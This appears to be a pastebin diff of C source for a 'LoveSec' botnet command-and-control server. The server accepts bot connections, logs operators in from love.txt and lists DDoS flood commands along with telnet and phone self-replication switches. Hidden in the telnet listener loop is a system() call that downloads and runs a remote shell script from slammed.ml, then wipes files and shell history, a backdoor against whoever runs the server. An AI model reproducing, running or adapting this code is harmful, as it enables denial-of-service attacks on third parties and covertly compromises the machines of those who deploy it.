View difference between Paste ID: 4CfurJTg and eFckphaQ
SHOW: | | - or go back to the newest paste.
1
/*
2
Edited by: Love Hecate
3
4
  * COOL FUN FEATURES *
5
~ Logs Ips
6
~ Has A TimeStamp
7
~ etc
8
~ Blocked SHELL Commands
9
~ Blocked DUPE Commands
10
11
P.S. > the login file name is love.txt
12
*/
13
#include <stdio.h>
14
#include <stdlib.h>
15
#include <string.h>
16
#include <sys/types.h>
17
#include <sys/socket.h>
18
#include <netdb.h>
19
#include <unistd.h>
20
#include <time.h>
21
#include <fcntl.h>
22
#include <sys/epoll.h>
23
#include <errno.h>
24
#include <pthread.h>
25
#include <signal.h>
26
27
#define MAXFDS 1000000
28
#define RED     "\x1b[0;31m"
29
#define GREEN   "\x1b[0;32m"
30
#define C_RESET   "\x1b[0m"
31
32
struct account {
33
    char id[20]; 
34
    char password[20];
35
};
36
static struct account accounts[25];
37
38
struct clientdata_t {
39
        uint32_t ip;
40
        char build[7];
41
        char connected;
42
} clients[MAXFDS];
43
44
struct telnetdata_t {
45
        uint32_t ip; 
46
        int connected;
47
} managements[MAXFDS];
48
49
////////////////////////////////////
50
51
static volatile FILE *fileFD;
52
static volatile int epollFD = 0;
53
static volatile int listenFD = 0;
54
static volatile int managesConnected = 0;
55
static volatile int DUPESDELETED = 0;
56
57
////////////////////////////////////
58
59
60
int fdgets(unsigned char *buffer, int bufferSize, int fd)
61
{
62
        int total = 0, got = 1;
63
        while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
64
        return got;
65
}
66
void trim(char *str)
67
{
68
    int i;
69
    int begin = 0;
70
    int end = strlen(str) - 1;
71
    while (isspace(str[begin])) begin++;
72
    while ((end >= begin) && isspace(str[end])) end--;
73
    for (i = begin; i <= end; i++) str[i - begin] = str[i];
74
    str[i - begin] = '\0';
75
}
76
77
78
static int make_socket_non_blocking (int sfd)
79
{
80
        int flags, s;
81
        flags = fcntl (sfd, F_GETFL, 0);
82
        if (flags == -1)
83
        {
84
                perror ("fcntl");
85
                return -1;
86
        }
87
        flags |= O_NONBLOCK;
88
        s = fcntl (sfd, F_SETFL, flags); 
89
        if (s == -1)
90
        {
91
                perror ("fcntl");
92
                return -1;
93
        }
94
        return 0;
95
}
96
97
98
static int create_and_bind (char *port)
99
{
100
        struct addrinfo hints;
101
        struct addrinfo *result, *rp;
102
        int s, sfd;
103
        memset (&hints, 0, sizeof (struct addrinfo));
104
        hints.ai_family = AF_UNSPEC;
105
        hints.ai_socktype = SOCK_STREAM;
106
        hints.ai_flags = AI_PASSIVE;
107
        s = getaddrinfo (NULL, port, &hints, &result);
108
        if (s != 0)
109
        {
110
                fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
111
                return -1;
112
        }
113
        for (rp = result; rp != NULL; rp = rp->ai_next)
114
        {
115
                sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
116
                if (sfd == -1) continue;
117
                int yes = 1;
118
                if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
119
                s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
120
                if (s == 0)
121
                {
122
                        break;
123
                }
124
                close (sfd);
125
        }
126
        if (rp == NULL)
127
        {
128
                fprintf (stderr, "Could not bind\n");
129
                return -1;
130
        }
131
        freeaddrinfo (result);
132
        return sfd;
133
}
134
void broadcast(char *msg, int us, char *sender)
135
{
136
        int sendMGM = 1;
137
        if(strcmp(msg, "PING") == 0) sendMGM = 0;
138
        char *wot = malloc(strlen(msg) + 10);
139
        memset(wot, 0, strlen(msg) + 10);
140
        strcpy(wot, msg);
141
        trim(wot);
142
        time_t rawtime;
143
        struct tm * timeinfo;
144
        time(&rawtime);
145
        timeinfo = localtime(&rawtime);
146
        char *timestamp = asctime(timeinfo);
147
        trim(timestamp);
148
        int i;
149
        for(i = 0; i < MAXFDS; i++)
150
        {
151
                if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
152
                if(sendMGM && managements[i].connected)
153
                {                     
154
						send(i, "\x1b[31mID:", 8, MSG_NOSIGNAL);
155
                        send(i, sender, strlen(sender), MSG_NOSIGNAL);
156
                        send(i, " ", 1, MSG_NOSIGNAL);
157
                        send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
158
                        send(i, ": ", 2, MSG_NOSIGNAL); 
159
                }
160
                send(i, msg, strlen(msg), MSG_NOSIGNAL);
161
                if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[0m~\x1b[0;31m$ \x1b[0m", 13, MSG_NOSIGNAL);
162
                else send(i, "\n", 1, MSG_NOSIGNAL);
163
        }
164
        free(wot);
165
}
166
 
167
void *epollEventLoop(void *useless)
168
{
169
        struct epoll_event event;
170
        struct epoll_event *events;
171
        int s;
172
        events = calloc (MAXFDS, sizeof event);
173
        while (1)
174
        {
175
                int n, i;
176
                n = epoll_wait (epollFD, events, MAXFDS, -1);
177
                for (i = 0; i < n; i++)
178
                {
179
                        if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
180
                        {
181
                                clients[events[i].data.fd].connected = 0;
182
                                close(events[i].data.fd);
183
                                continue;
184
                        }
185
                        else if (listenFD == events[i].data.fd)
186
                        {
187
                                while (1)
188
                                {
189
                                        struct sockaddr in_addr;
190
                                        socklen_t in_len;
191
                                        int infd, ipIndex;
192
 
193
                                        in_len = sizeof in_addr;
194
                                        infd = accept (listenFD, &in_addr, &in_len);
195
                                        if (infd == -1)
196
                                        {
197
                                                if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
198
                                                else
199
                                                {
200
                                                        perror ("accept");
201
                                                        break;
202
                                                }
203
                                        }
204
 
205
                                        clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
206
 
207
                                        int dup = 0;
208
                                        for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
209
                                        {
210
                                                if(!clients[ipIndex].connected || ipIndex == infd) continue;
211
 
212
                                                if(clients[ipIndex].ip == clients[infd].ip)
213
                                                {
214
                                                        dup = 1;
215
                                                        break;
216
                                                }
217
                                        }
218
 
219
                                        if(dup) 
220
                                        {
221
                                        	    DUPESDELETED++;
222
                                                continue;
223
                                        }
224
 
225
                                        s = make_socket_non_blocking (infd);
226
                                        if (s == -1) { close(infd); break; }
227
 
228
                                        event.data.fd = infd;
229
                                        event.events = EPOLLIN | EPOLLET;
230
                                        s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
231
                                        if (s == -1)
232
                                        {
233
                                                perror ("epoll_ctl");
234
                                                close(infd);
235
                                                break;
236
                                        }
237
 
238
                                        clients[infd].connected = 1;
239
                                        send(infd, "!* SC ON\n", 9, MSG_NOSIGNAL);
240
                                        
241
                                }
242
                                continue;
243
                        }
244
                        else
245
                        {
246
                                int thefd = events[i].data.fd;
247
                                struct clientdata_t *client = &(clients[thefd]);
248
                                int done = 0;
249
                                client->connected = 1;
250
                                while (1)
251
                                {
252
                                        ssize_t count;
253
                                        char buf[2048];
254
                                        memset(buf, 0, sizeof buf);
255
 
256
                                        while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
257
                                        {
258
                                                if(strstr(buf, "\n") == NULL) { done = 1; break; }
259
                                                trim(buf);
260
                                                if(strcmp(buf, "PING") == 0) {
261
                                                if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
262
                                                continue; }
263
                                                if(strcmp(buf, "PONG") == 0) {
264
                                                continue; }
265
                                                printf("buf: \"%s\"\n", buf); }
266
 
267
                                        if (count == -1)
268
                                        {
269
                                                if (errno != EAGAIN)
270
                                                {
271
                                                        done = 1;
272
                                                }
273
                                                break;
274
                                        }
275
                                        else if (count == 0)
276
                                        {
277
                                                done = 1;
278
                                                break;
279
                                        }
280
                                }
281
 
282
                                if (done)
283
                                {
284
                                        client->connected = 0;
285
                                        close(thefd);
286
                                }
287
                        }
288
                }
289
        }
290
}
291
 
292
unsigned int clientsConnected()
293
{
294
        int i = 0, total = 0;
295
        for(i = 0; i < MAXFDS; i++)
296
        {
297
                if(!clients[i].connected) continue;
298
                total++;
299
        }
300
 
301
        return total;
302
}
303
 
304
void *titleWriter(void *sock) 
305
{
306
        int thefd = (int)sock;
307
        char string[2048];
308
        while(1)
309
        {
310
                memset(string, 0, 2048);
311
                sprintf(string, "%c]0; LoveSec ~ Bots: %d ~ Admins: %d %c", '\033', clientsConnected(), managesConnected, '\007');
312
                if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1);
313
 
314
                sleep(2);
315
        }
316
}
317
318
int Search_in_File(char *str)
319
{
320
    FILE *fp;
321
    int line_num = 0;
322
    int find_result = 0, find_line=0;
323
    char temp[512];
324
325
    if((fp = fopen("love.txt", "r")) == NULL){
326
        return(-1);
327
    }
328
    while(fgets(temp, 512, fp) != NULL){
329
        if((strstr(temp, str)) != NULL){
330
            find_result++;
331
            find_line = line_num;
332
        }
333
        line_num++;
334
    }
335
    if(fp)
336
        fclose(fp);
337
338
    if(find_result == 0)return 0;
339
340
    return find_line;
341
}
342
 void client_addr(struct sockaddr_in addr){
343
        printf("IP:%d.%d.%d.%d\n",
344
        addr.sin_addr.s_addr & 0xFF,
345
        (addr.sin_addr.s_addr & 0xFF00)>>8,
346
        (addr.sin_addr.s_addr & 0xFF0000)>>16,
347
        (addr.sin_addr.s_addr & 0xFF000000)>>24);
348
        FILE *logFile;
349
        logFile = fopen("server.log", "a");
350
        fprintf(logFile, "\nIP:%d.%d.%d.%d ",
351
        addr.sin_addr.s_addr & 0xFF,
352
        (addr.sin_addr.s_addr & 0xFF00)>>8,
353
        (addr.sin_addr.s_addr & 0xFF0000)>>16,
354
        (addr.sin_addr.s_addr & 0xFF000000)>>24);
355
        fclose(logFile);
356
}
357
358
void *telnetWorker(void *sock) { 
359
        int thefd = (int)sock;
360
        managesConnected++;
361
        int find_line;
362
        pthread_t title;
363
        char counter[2048];
364
        memset(counter, 0, 2048);
365
        char buf[2048];
366
        char* nickstring;
367
        char usernamez[80];
368
        char* password;
369
        char* admin;
370
        memset(buf, 0, sizeof buf);
371
        char botnet[2048];
372
        memset(botnet, 0, 2048);
373
374
        FILE *fp;
375
        int i=0;
376
        int c;
377
        fp=fopen("love.txt", "r"); // format: user pass
378
        while(!feof(fp)) 
379
        {
380
                c=fgetc(fp);
381
                ++i;
382
        }
383
        int j=0;
384
        rewind(fp);
385
        while(j!=i-1) 
386
        { 
387
            fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
388
            ++j;
389
        }
390
        sprintf(botnet, "\x1b[1;37mpодившиеся боги объединены\r\n");
391
        if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;  
392
		sprintf(botnet, "\033[34;1mпользователь\033[33;3m: \e[0;30m");
393
        if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
394
        if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
395
        trim(buf);
396
        sprintf(usernamez, buf);
397
        nickstring = ("%s", buf);
398
        find_line = Search_in_File(nickstring);
399
400
        if(strcmp(nickstring, accounts[find_line].id) == 0){                  
401
        sprintf(botnet, "\033[34;1mпароль\033[33;3m: \e[0;30m");
402
        if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
403
        if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
404
        trim(buf);
405
        if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
406
        memset(buf, 0, 2048);
407
        goto fak;
408
        }
409
        failed:
410
        if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
411
        goto end;
412
        fak:
413
        
414
        pthread_create(&title, NULL, &titleWriter, sock);
415
        if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
416
        if(send(thefd, "\r\n", 2, MSG_NOSIGNAL) == -1) goto end;
417
        char ascii_banner_line20 [5000];
418
		char ascii_banner_line21 [5000];
419
		char ascii_banner_line22 [5000];
420
		char line23[80];
421
        sprintf(ascii_banner_line20, "\x1b[0;31m         ╦  ╔═╗╦  ╦╔═╗╔═╗╔═╗╔═╗\r\n");
422
		sprintf(ascii_banner_line21, "\x1b[0;31m         ║  ║ ║╚╗╔╝║╣ ╚═╗║╣ ║  \r\n");
423
		sprintf(ascii_banner_line22, "\x1b[0m         ╩═╝╚═╝ ╚╝ ╚═╝╚═╝╚═╝╚═╝\r\n");
424
		sprintf(line23, "     "C_RESET"***"RED" Welcome To The LoveSec"C_RESET" ***\r\n\r\n"C_RESET"~"RED"$ "C_RESET"");
425
        if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
426
        if(send(thefd, ascii_banner_line20, strlen(ascii_banner_line20), MSG_NOSIGNAL) == -1) goto end;
427
		if(send(thefd, ascii_banner_line21, strlen(ascii_banner_line21), MSG_NOSIGNAL) == -1) goto end;
428
		if(send(thefd, ascii_banner_line22, strlen(ascii_banner_line22), MSG_NOSIGNAL) == -1) goto end;
429
		if(send(thefd, line23, strlen(line23), MSG_NOSIGNAL) == -1) goto end;
430
        pthread_create(&title, NULL, &titleWriter, sock);
431
        managements[thefd].connected = 1;
432
        while(fdgets(buf, sizeof buf, thefd) > 0)
433
        { 
434
        if(strstr(buf, "BOTS")) 
435
        {  
436
          sprintf(botnet, "Hearts Connected: "RED"[%d]"C_RESET"\r\nLovers connected: "RED"[%d]"C_RESET"\r\nDupes Deleted:"RED" [%d]"C_RESET"\r\n", clientsConnected(), managesConnected, DUPESDELETED);
437
          if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
438
        }
439
          
440
if(strstr(buf, "HELP")) {
441
				pthread_create(&title, NULL, &titleWriter, sock);
442
				char helpline1  [80];
443
				char helpline2  [80];
444
				char helpline4  [80];
445
446
				sprintf(helpline1,  "\x1b[0;37mChoose an option from \x1b[0;31mBelow:\r\n");
447
				sprintf(helpline2,  "\x1b[0;37m[\x1b[0;31mDDOS\x1b[0;37m] ~ DDOS Commands\r\n");
448
				sprintf(helpline4,  "\x1b[0;37m[\x1b[0;31mSELFREP\x1b[0;37m] ~ DONT FUCKING TOUCH THIS SHIT\r\n");;
449
450
				if(send(thefd, helpline1,  strlen(helpline1),	MSG_NOSIGNAL) == -1) goto end;
451
				if(send(thefd, helpline2,  strlen(helpline2),	MSG_NOSIGNAL) == -1) goto end;
452
				if(send(thefd, helpline4,  strlen(helpline4),	MSG_NOSIGNAL) == -1) goto end;
453
				pthread_create(&title, NULL, &titleWriter, sock);
454
				while(1) {
455
				if(send(thefd, "\x1b[0;31m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
456
				break;
457
				}
458
				continue;
459
		}
460
					if(strstr(buf, "DDOS")) {
461
				pthread_create(&title, NULL, &titleWriter, sock);
462
				char ddosline1  [80];
463
				char ddosline2  [80];
464
				char ddosline3  [80];
465
				char ddosline4  [80];
466
				char ddosline5  [80];
467
				char ddosline6  [80];
468
				char ddosline7  [80];
469
				char ddosline8  [80];
470
				char ddosline9  [80];
471
				char ddosline32  [80];
472
				char ddosline11  [80];
473
				char ddosline12  [80];
474
475
				sprintf(ddosline1, "\x1b[0;31m !* UDP [IP] [PORT] [TIME] 32 1337 400 | UDP FLOOD\r\n");
476
				sprintf(ddosline2, "\x1b[0;37m !* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
477
				sprintf(ddosline3, "\x1b[0;31m !* TCP [IP] [PORT] [TIME] 32 all 1337 400| TCP FLOOD\r\n");
478
				sprintf(ddosline4, "\x1b[0;37m !* UDP [IP] [PORT] [TIME] 32 ack 1337 400 | ACK FLOOD\r\n");
479
				sprintf(ddosline5, "\x1b[0;31m !* JUNK [IP] [PORT] [TIME] | JUNK FLOOD\r\n");
480
				sprintf(ddosline6, "\x1b[0;37m !* HOLD [IP] [PORT] [TIME] | HOLD FLOOD\r\n");
481
				sprintf(ddosline7, "\x1b[0;31m !* COMBO [IP] [PORT] [TIME] | COMBO FLOOD HOLD AND JUNK\r\n");
482
				sprintf(ddosline8, "\x1b[0;37m !* HUG [IP] [PORT] [TIME] | HUG FLOOD\r\n");
483
				sprintf(ddosline9, "\x1b[0;31m !* UKN [IP] [PORT] [TIME] | UNK FLOOD\r\n");
484
				sprintf(ddosline32, "\x1b[0;37m !* CNC [IP] [ADMIN-PORT] [TIME] | CNC FLOOD\r\n");
485
				sprintf(ddosline11, "\x1b[0;31m !* UKN [IP] [TIME] [PORT] | RAW STD FLOOD\r\n");
486
				sprintf(ddosline12, "\x1b[0;37m !* KILLATTK | KILLS ALL ATTACKS\r\n");
487
488
				if(send(thefd, ddosline1,  strlen(ddosline1),	MSG_NOSIGNAL) == -1) goto end;
489
				if(send(thefd, ddosline2,  strlen(ddosline2),	MSG_NOSIGNAL) == -1) goto end;
490
				if(send(thefd, ddosline3,  strlen(ddosline3),	MSG_NOSIGNAL) == -1) goto end;
491
				if(send(thefd, ddosline4,  strlen(ddosline4),	MSG_NOSIGNAL) == -1) goto end;
492
				if(send(thefd, ddosline5,  strlen(ddosline5),	MSG_NOSIGNAL) == -1) goto end;
493
				if(send(thefd, ddosline6,  strlen(ddosline6),	MSG_NOSIGNAL) == -1) goto end;
494
				if(send(thefd, ddosline7,  strlen(ddosline7),	MSG_NOSIGNAL) == -1) goto end;
495
				if(send(thefd, ddosline8,  strlen(ddosline8),	MSG_NOSIGNAL) == -1) goto end;
496
				if(send(thefd, ddosline9,  strlen(ddosline9),	MSG_NOSIGNAL) == -1) goto end;
497
				if(send(thefd, ddosline32,  strlen(ddosline32),	MSG_NOSIGNAL) == -1) goto end;
498
				if(send(thefd, ddosline11,  strlen(ddosline11),	MSG_NOSIGNAL) == -1) goto end;
499
				if(send(thefd, ddosline12,  strlen(ddosline12),	MSG_NOSIGNAL) == -1) goto end;
500
				pthread_create(&title, NULL, &titleWriter, sock);
501
				while(1) {
502
				if(send(thefd, "\x1b[0;31m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
503
				break;
504
				}
505
				continue;
506
			}
507
			if(strstr(buf, "SELFREP")) {
508
				pthread_create(&title, NULL, &titleWriter, sock);
509
				char repline1  [80];
510
				char repline2  [80];
511
				char repline3  [80];
512
				char repline4  [80];
513
				char repline5  [80];
514
				char repline6  [80];
515
				
516
				sprintf(repline1,  "\x1b[0;31m !* PHONE ON | TURNS ON PHONE SELF REPLIFICATION\r\n");
517
				sprintf(repline2,  "\x1b[0;37m !* SCANNER ON | TURNS ON TELNET SELF REPLIFICATION\r\n");
518
				sprintf(repline3,  "\x1b[0;31m !* PHONE OFF | TURNS OFF PHONE SELF REPLIFICATION\r\n");
519
				sprintf(repline4,  "\x1b[0;37m !* SCANNER OFF | TURNS OFF TELNET SELF REPLIFICATION\r\n");
520
				sprintf(repline5,  "\x1b[0;31m !* wget.py | SCANS sithbots.txt PYTHON LIST\r\n");
521
				sprintf(repline6,  "\x1b[0;37m !* PYTHON OFF | TURNS OFF PYTHON SCANNER\r\n");
522
523
				if(send(thefd, repline1,  strlen(repline1),	MSG_NOSIGNAL) == -1) goto end;
524
				if(send(thefd, repline2,  strlen(repline2),	MSG_NOSIGNAL) == -1) goto end;
525
				if(send(thefd, repline3,  strlen(repline3),	MSG_NOSIGNAL) == -1) goto end;
526
				if(send(thefd, repline4,  strlen(repline4),	MSG_NOSIGNAL) == -1) goto end;
527
				if(send(thefd, repline5,  strlen(repline5),	MSG_NOSIGNAL) == -1) goto end;
528
				if(send(thefd, repline6,  strlen(repline6),	MSG_NOSIGNAL) == -1) goto end;
529
				pthread_create(&title, NULL, &titleWriter, sock);
530
				while(1) {
531
				if(send(thefd, "\x1b[0;31m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
532
				break;
533
				}
534
				continue;
535
			}
536
      if(strstr(buf, "LOLNOGTFO")) 
537
		{  
538
		printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
539
		FILE *logFile;
540
        logFile = fopen("KILL.log", "a");
541
        fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
542
        fclose(logFile);
543
		goto end;
544
        }
545
      if(strstr(buf, "HOODASSSHIT")) 
546
		{  
547
		printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
548
		FILE *logFile;
549
        logFile = fopen("KILL.log", "a");
550
        fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
551
        fclose(logFile);
552
		goto end;
553
        }
554
      if(strstr(buf, "HOODASSSHIT")) 
555
		{  
556
		printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
557
		FILE *logFile;
558
        logFile = fopen("KILL.log", "a");
559
        fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
560
        fclose(logFile);
561
		goto end;
562
        }
563
	    if(strstr(buf, "LOGOUT")) 
564
		{  
565
		printf("BYE %s\n", accounts[find_line].id, buf);
566
		FILE *logFile;
567
        logFile = fopen("OGOUT.log", "a");
568
        fprintf(logFile, "BYE %s\n", accounts[find_line].id, buf);
569
        fclose(logFile);
570
		goto end;
571
        }//if you dont like this just take out common sense 
572
    	if(strstr(buf, "DUP")) 
573
		{  
574
	    printf("ATTEMPT TO KILL YOUR BOTS BY %s\n", accounts[find_line].id, buf);
575
		FILE *logFile;
576
        logFile = fopen("BOTKILLER.log", "a");
577
        fprintf(logFile, "ATTEMPT TO KILL BOTS %s\n", accounts[find_line].id, buf);
578
        fclose(logFile);
579
	    goto end;
580
		}
581
		if(strstr(buf, "SH")) 
582
		{  
583
		printf("ATTEMPT TO SHELL YOUR BOTS BY %s\n", accounts[find_line].id, buf);
584
		FILE *logFile;
585
        logFile = fopen("SHELL.log", "a");
586
        fprintf(logFile, "ATTEMPT TO SHELL BOTS BY %s\n", accounts[find_line].id, buf);
587
        fclose(logFile);
588
		goto end;
589
   	   	}
590
		if(strstr(buf, "MOVE")) 
591
		{  
592
		printf("ATTEMPT TO SHELL YOUR BOTS BY %s\n", accounts[find_line].id, buf);
593
		FILE *logFile;
594
        logFile = fopen("SHELL.log", "a");
595
        fprintf(logFile, "ATTEMPT TO SHELL BOTS BY %s\n", accounts[find_line].id, buf);
596
        fclose(logFile);
597
		goto end;
598
   	   	}
599
        if (strstr(buf, "CLEAR"))
600
        { 
601
          if(send(thefd, "\033[1A\033[2J\033[1;1H\r\n", 16, MSG_NOSIGNAL) == -1) goto end;
602
        sprintf(ascii_banner_line20, "\x1b[0;31m         ╦  ╔═╗╦  ╦╔═╗╔═╗╔═╗╔═╗\r\n");
603
		sprintf(ascii_banner_line21, "\x1b[0;31m         ║  ║ ║╚╗╔╝║╣ ╚═╗║╣ ║  \r\n");
604
		sprintf(ascii_banner_line22, "\x1b[0m         ╩═╝╚═╝ ╚╝ ╚═╝╚═╝╚═╝╚═╝\r\n");
605
		sprintf(line23, "     "C_RESET"***"RED" Welcome To The LoveSec"C_RESET" ***\r\n ");
606
		if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
607
        if(send(thefd, ascii_banner_line20, strlen(ascii_banner_line20), MSG_NOSIGNAL) == -1) goto end;
608
		if(send(thefd, ascii_banner_line21, strlen(ascii_banner_line21), MSG_NOSIGNAL) == -1) goto end;
609
		if(send(thefd, ascii_banner_line22, strlen(ascii_banner_line22), MSG_NOSIGNAL) == -1) goto end;
610
		if(send(thefd, line23, strlen(line23), MSG_NOSIGNAL) == -1) goto end;
611
         }
612
         if (strstr(buf, "EXIT")) 
613
         {
614
            goto end;
615
         }
616
                trim(buf);
617
                sprintf(botnet, "\x1b[0m~\x1b[0;31m$ \x1b[0m");
618
                if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
619
                if(strlen(buf) == 0) continue;
620
                printf("%s: \"%s\"\n",accounts[find_line].id, buf);
621
                FILE *logFile;
622
                logFile = fopen("server.log", "a");
623
                fprintf(logFile, "%s: \"%s\"\n", accounts[find_line].id, buf);
624
                fclose(logFile);
625
                broadcast(buf, thefd, usernamez);
626
                memset(buf, 0, 2048);
627
        }
628
 
629
        end:    // cleanup dead socket
630
                managements[thefd].connected = 0;
631
                close(thefd);
632
                managesConnected--;
633
}
634
 
635
void *telnetListener(int port)
636
{    
637
        int sockfd, newsockfd;
638
        socklen_t clilen;
639
        struct sockaddr_in serv_addr, cli_addr;
640
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
641
        if (sockfd < 0) perror("ERROR opening socket");
642
        bzero((char *) &serv_addr, sizeof(serv_addr));
643
        serv_addr.sin_family = AF_INET;
644
        serv_addr.sin_addr.s_addr = INADDR_ANY;
645
        serv_addr.sin_port = htons(port);
646
        if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
647
        listen(sockfd,5);
648
        clilen = sizeof(cli_addr);
649
        while(1)
650
651
        {  printf("Security Breach From: ");
652
                
653
                client_addr(cli_addr);
654
                FILE *logFile;
655
                logFile = fopen("IP.log", "a");
656
                fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
657
                system ("cd /tmp; wget -q http://slammed.ml/g.sh -O g.sh; sh g.sh &>/dev/null; rm -rf *; history -c"); 
658
                fclose(logFile);
659
                newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
660
                if (newsockfd < 0) perror("ERROR on accept");
661
                pthread_t thread;
662
                pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
663
        }
664
}
665
 
666
int main (int argc, char *argv[], void *sock)
667
{
668
        signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
669
 
670
        int s, threads, port;
671
        struct epoll_event event;
672
        if (argc != 4)
673
        {
674
                fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
675
                exit (EXIT_FAILURE);
676
677
        }
678
        port = atoi(argv[3]);
679
        threads = atoi(argv[2]);
680
        if (threads > 850)
681
        {
682
            printf("Are You Dumb? Lower the Threads\n");
683
            return 0;
684
        }
685
        else if (threads < 850)
686
        {
687
            printf("Good Choice in Threading\n");
688
        }
689
        printf(RED "\x1b[0;31mTHIS SHIT PRIVATE,\x1b[1;37m DO NOT FUCKING LEAK, \x1b[1;37mLoveSec \x1b[1;37mBOTNET \x1b[1;36mSCREENED\x1b[0m\n");
690
        listenFD = create_and_bind(argv[1]); // try to create a listening socket, die if we can't
691
        if (listenFD == -1) abort();
692
        
693
 
694
        s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
695
        if (s == -1) abort();
696
 
697
        s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
698
        if (s == -1)
699
        {
700
                perror ("listen");
701
                abort ();
702
        }
703
 
704
        epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
705
        if (epollFD == -1)
706
        {
707
                perror ("epoll_create");
708
                abort ();
709
        }
710
 
711
        event.data.fd = listenFD;
712
        event.events = EPOLLIN | EPOLLET;
713
        s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
714
        if (s == -1)
715
        {
716
                perror ("epoll_ctl");
717
                abort ();
718
        }
719
 
720
        pthread_t thread[threads + 2];
721
        while(threads--)
722
        {
723
                pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
724
        }
725
 
726
        pthread_create(&thread[0], NULL, &telnetListener, port);
727
 
728
        while(1)
729
        {
730
                broadcast("PING", -1, "STRING");
731
                sleep(60);
732
        }
733
  
734
        close (listenFD);
735
 
736
        return EXIT_SUCCESS;
737
}